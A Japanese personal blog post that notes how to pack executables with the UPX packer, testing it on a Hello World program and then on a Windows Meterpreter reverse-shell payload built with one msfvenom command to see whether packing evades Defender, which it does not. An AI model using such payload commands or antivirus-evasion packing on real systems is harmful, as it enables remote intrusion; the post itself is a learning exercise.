アロワナ飼いたい

いつかアロワナを飼いたい人のブログです

UPXで実行ファイルをパッキングする

オープンソースのパッカーであるUPXに関するメモ。実行ファイルをパッキングしてみます。

■ 準備

UPXで実行ファイルをパッキングする前に、その概要について記載します。

◆ UPXの概要
UPX(Ultimate Packer for eXecutables)は、elfなどの実行ファイルをパッキング(実行ファイルを実行可能な状態を維持して圧縮する処理のこと)するためのユーティリティで、参考1から入手できます。UPXでパッキングする際は、次のコマンドを用います。

$ upx <パッキング対象の実行ファイル>


パッキングされた実行ファイルをアンパッキングする際は、次のコマンドを用います。

$ upx -d <パッキングされた実行ファイル>


UPXでのパッキングは、実行ファイルのファイルサイズを小さくするだけでなく、セキュリティソフトの検知を回避するという目的もあります。

■ 検証

elfファイルとexeファイルをパッキングしてみます。

◆ elfファイルのパッキング
次のCプログラムをコンパイルし、実行ファイルを生成します。

#include <stdio.h>

int main() {
    printf("Hello, World!\n");
    return 0;
}
$ vi test.c
$ gcc test.c -o test.o
$ chmod +x test.o
$ ./test.o



パッキング前のファイルサイズと可読部分を確認しつつ、実行ファイルをパッキングします。

$ ls -lh test.o
$ strings test.o | grep UPX
$ upx test.o



パッキング後の変化を確認すると、ファイルサイズが小さくなり、実行ファイル内に「UPX」という可読文字列が追加されたことが分かります。

$ ls -lh test.o
$ strings test.o | grep UPX



パッキング後も引き続き実行可能であり、アンパッキングもできることを確認します。

$ ./test.o
$ upx -d test.o
$ ls -lh test.o
$ strings test.o | grep UPX
$ ./test.o



◆ exeファイルのパッキング
msfvenomeでexe形式のリバースシェルを作成します。

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.y.z.w LPORT=1234 -f exe > reverse.exe



このままの状態でWindowsマシンに転送すると、Defenderの検知にかかり、自動で削除されてしまいました。

パッキングして、Defenderの検知にかかるかどうかを確認します。著名なパッカーであるためか、引き続き検知されました。

簡単ではありますが、UPXによるelfとexeファイルのパッキングを行いました。

■ 感想

実行ファイルの軽量化に便利だなと思いました。

■ 参考

全体的に、次の記事を参考にしました。



以上です。